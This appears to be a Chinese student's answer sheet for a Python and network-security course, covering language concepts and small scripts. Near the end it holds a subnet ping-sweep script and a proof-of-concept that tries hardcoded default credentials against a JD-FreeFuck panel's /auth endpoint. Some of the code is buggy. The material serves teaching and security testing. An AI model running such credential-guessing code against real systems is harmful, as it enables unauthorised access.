1:请说明解释型语言和编译型语言之间的区别
区别:
- 编译器是把源程序的每一条语句都编译成机器语言,并保存成二进制文件,这样运行时计算机可以直接以机器语言来运行此程序,速度很快;
- 而解释器则是只在执行程序时,才一条一条的解释成机器语言给计算机来执行,所以运行速度不如编译后的程序运行的快。
//python是解释型语言 //运行效率较低,开发效率较高
优缺点:
- 编译型:优点: 编译器⼀一般会有预编译的过程对代码进⾏优化。因为编译只做⼀一次, 运⾏时不需要编译,所以编译型语⾔言的程序执⾏效率高。可以脱离语⾔环境独立运行。
缺点: 编译之后如果需要修改就需要整个模块重新编译。编译的时候根据对应的运⾏环境⽣生成机器码,不同的操作系统之间移植就会有问题,需要根据运⾏的操作系统环境编译不同的可执⾏文件。- 解释型:优点: 有良好的平台兼容性, 在任何环境中都可以运行, 前提是安装了解释器(虚拟机)。灵活、修改代码的时候直接修改就可以,可以快速部署,不⽤用停机维护。
缺点:每次运⾏的时候都要解释⼀一遍,性能上不不如编译型语言。
2:面向过程编程/函数式编程/面向对象编程三者之间的异同点
- 面向过程就是分析出解决问题所需要的步骤,然后用函数把这些步骤一步一步实现,使用的时候一个一个依次调用就可以了
- 面向对象是把构成问题事务分解成各个对象,建立对象的目的不是为了完成一个步骤,而是为了描叙某个事物在整个解决问题的步骤中的行为
- 函数式编程将函数视为主要的抽象。函数是独立的,而不是任意地为每个操作都需要一个对象。重点是编写可重用的、可组合的函数,并将底层数据结构的细节作为同等或次要的。“纯”函数样式将函数视为数学函数,避免了可变状态和命令式代码带来的副作用。
面向对象是以功能来划分问题,而不是步骤。
“面向过程”和“面向对象”的区别是“封装”。“函数式”和“面向对象”的区别是“不使用外部状态”。
3:请写出Python的选择结构与循环结构,注意语法格式
If(表达式){
语句
}
变量初始化
While(循环条件){
循环操作
循环出口
}
4:请简单描述8中基本的排序算法,并说明其优缺点。
插入排序/希尔排序/选择排序/冒泡排序/快速排序/堆排序/归并排序/基数排序
5:针对文件操作的方法,请写出6中,并写出C类1-255IP地址(参照PHP操作方法)
r 只读,默认模式
w 只写,不可读,若文件不存在则创建,若存在,则删除内容,写入新内容
a 只追加,不可读,若文件不存在则创建,存在则追加新内容
r+ 可读、可写、可追加,若文件不存在,则报错
w+ 可读、可写,若文件存在,内容会被清空,可读新写入的内容
a+ 可读、可写、可追加,若文件存在,则追加新内容
6:请写出Python函数形参与实参区别以及构造函数与析构函数区别,并写出函数默认值设置语法格式
构造函数与析构函数:
相同点:Python中,构造函数(constructor)和析构函数(destructor)同为类中默认存在的无初始内容函数(可写入内容),且都在会在对对象执行操作时调用。
不同点:不同的是构造函数在创建对象后自动被调用,而析构函数在对象被销毁前(作为垃圾被收集)自动被调用。两者有异曲同工之妙。
形参:定义函数时使用的参数。
实参:调用函数时使用的参数
为形参指定默认值的语法格式如下:形参名 = 默认值 从上面的语法格式可以看出,形参的默认值紧跟在形参之后,中间以英文“=”隔开。
再次强调,Python 要求将带默认值的参数定义在形参列表的最后。
7:写函数录入学生信息:姓名,性别,年龄,学历,支持用户的持续输入并能够产看结果按下Q或q退出
代码如下:
def student():
students = []
count = 3
for i in range(count):
name = input(f'请输入第{i+1}个学生的姓名:(输入q或Q退出)')
if name.strip().upper() == "Q":
break
else:
gender = input(f'请输入第{i + 1}个学生的性别:')
age = input(f'请输入第{i+1}个学生的年龄:')
education = input(f'请输入第{i+1}个学生的分数:')
stu_list = [name,gender,age,education]
students.append(stu_list)
for stu in students:
for v in stu:
print(v,end = ' ')
print()
res=student()
print(res)
运行结果如下:
8:打印99乘法表与*号图形为以下形状:
*
* * *
* * * * *
* * * * * * *
* * * * * * * * *
代码如下:
for i in range(1,10):
for j in range(1,i+1):
print("%sx%s=%s"%(i,j,i*j),end=" ")
print()
运行结果如下:
1x1=1
2x1=2 2x2=4
3x1=3 3x2=6 3x3=9
4x1=4 4x2=8 4x3=12 4x4=16
5x1=5 5x2=10 5x3=15 5x4=20 5x5=25
6x1=6 6x2=12 6x3=18 6x4=24 6x5=30 6x6=36
7x1=7 7x2=14 7x3=21 7x4=28 7x5=35 7x6=42 7x7=49
8x1=8 8x2=16 8x3=24 8x4=32 8x5=40 8x6=48 8x7=56 8x8=64
9x1=9 9x2=18 9x3=27 9x4=36 9x5=45 9x6=54 9x7=63 9x8=72 9x9=81
代码如下:
for i in range(1,10):
for j in range(1,i+1):
print("*",end=" ")
print()
运行结果如下:
*
* * *
* * * * *
* * * * * * *
* * * * * * * * *
9:请使用函数式编程书写用户注册与登录界面,成功之后会有主机存活扫描与网页登录模拟功能(实操题)
代码如下:(比较完整的答案)
import requests
import math
import re
import subprocess
user_name = 13321
password = 133211
def login():
while 1:
print('登录'.center(40, '='))
for i in range(0,3):
name = int(input('请输入账号:'))
if name == user_name:
psw = int(input('请输入密码:'))
if psw == password:
print('登录成功'.center(40, '='))
return
else:
print('密码错误'.center(40, '='))
if i == 2:
print('您的机会已用完,请12小时之后再试')
else:
print('您还有%s次机会' % (2 - i))
else:
print('账号不存在'.center(40, '='))
if i == 2:
print('您的机会已用完,请12小时之后再试')
else:
print('您还有%s次机会' % (2 - i))
def regist():
while 1:
print('请注册'.center(40, '='))
re_name = int(input('请输入账号:'))
if re_name == user_name:
print(''.center(40, '='))
else:
re_psw = int(input('请输入密码:'))
return '注册成功'.center(40, '=')
def moudle():
a = int(input("请选择模块:1.主机存活扫描 2.网页模拟登录 \n"))
if a==1:
while 1:
ip1 = []
ip2 = []
for ip in range(1, 256):
str_ip = '192.168.1.' + str(ip)
ftp_res = subprocess.Popen('ping %s -n 3' % str_ip, stdin=subprocess.PIPE, stdout=subprocess.PIPE,
shell=True)
res = ftp_res.stdout.read()
str_res = res.decode("gbk")
res_s = re.search("TTL", str_res)
if res_s:
print('%s 主机是存活的' % str_ip)
ip1.append(str_ip)
else:
print('%s 无法Ping通' % str_ip)
ip2.append(str_ip)
print("存活ip:")
print(ip1)
print("不存活ip:")
print(ip2)
else:
print(login())
if __name__ == '__main__':
regist()
login()
moudle()
运行结果如下:
。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
自己写的(注册有问题)
代码如下:
import re
import subprocess
getNum = int(input("1.登入\n2.注册\nPlease Input the Choose :"))
while getNum<1 or getNum>2:
getNum =int(input("无效值 :"))
if getNum == 1: # 登入
ErrNums = 0
name = 'admin'
passward = '123456'
name1 = input("请输入用户名:")
passward1 = input("请输入密码:")
if name1 == name and passward1 == passward:
print("恭喜您,登录成功!")
ip_list1 = []
ip_list2 = []
for ip in range(1, 256):
str_ip = '192.168.1.' + str(ip)
ftp_res = subprocess.Popen('ping %s -n 3' % str_ip, stdin=subprocess.PIPE, stdout=subprocess.PIPE, shell=True)
res = ftp_res.stdout.read()
str_res = res.decode("gbk")
res_s = re.search("TTL", str_res)
if res_s:
ip_list1.append(str_ip)
print('存活的主机:')
print(ip_list1)
else:
ip_list2.append(str_ip)
print('无法ping通主机:')
print(ip_list2)
else:
print("账号或密码输入错误,请重新输入!")
name1 = input("请输入用户名:")
passward1 = input("请输入密码:")
if getNum == 2: # 注册
ErrNums = 0
name = 'admin'
passward = '123456'
name2 = input("请输入用户名:")
passward2 = input("请输入密码:")
if name2 == name and passward2 == passward:
print("账号已存在,请重新输入!")
name2 = input("请输入用户名:")
passward2 = input("请输入密码:")
else:
print("恭喜您,注册成功!")
运行结果:
10:根据JD-FreeFuck来进行POC编写(弱口令检测功能)(实操题)
账号:useradmin 密码:supermanito
代码如下:
import requests
def getCookie():
url = input("请输入目标url:")
Hostreferer = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
}
name = "useradmin"
passwd = "supermanito"
html = requests.get(url, headers=Hostreferer, verify=False, data={'username': name, "password": passwd}, timeout=5).status_code
if html == 200:
print("存在弱口令漏洞")
else:
print("不存在弱口令")
if __name__ == '__main__':
getCookie()
可以检测出是否存在弱口令,但是不能输出账号密码。
借鉴以下代码继续研究:
class Haoyangmao():
def __init__(self):
self.data_old = {'username' : 'useradmin', 'password' : 'supermanito'}
self.data_new = {'username' : 'admin', 'password' : 'adminadmin'}
def get_index(self, ip, port):
try:
url = "http://{ip}:{port}".format(ip=ip, port=port)
r = requests.get(url, timeout=5)
# cookie = requests.utils.dict_from_cookiejar(r.cookies)
if r.status_code == 200:
po = self.post_login(url, self.data_old)
if po:
return {'err' : 0, 'result' : self.data_old}
po = self.post_login(url, self.data_new)
if po:
return {'err' : 0, 'result' : self.data_new}
else:
return {'err' : 1, 'msg' : 'password_error'}
except:
return {'err' : 1, 'msg' : '404_wrong'}
def post_login(self, url, data):
try:
po = requests.post(url+'/auth', data=data, timeout=5)
return abs(int(po.json()['err'])-1)
except:
return None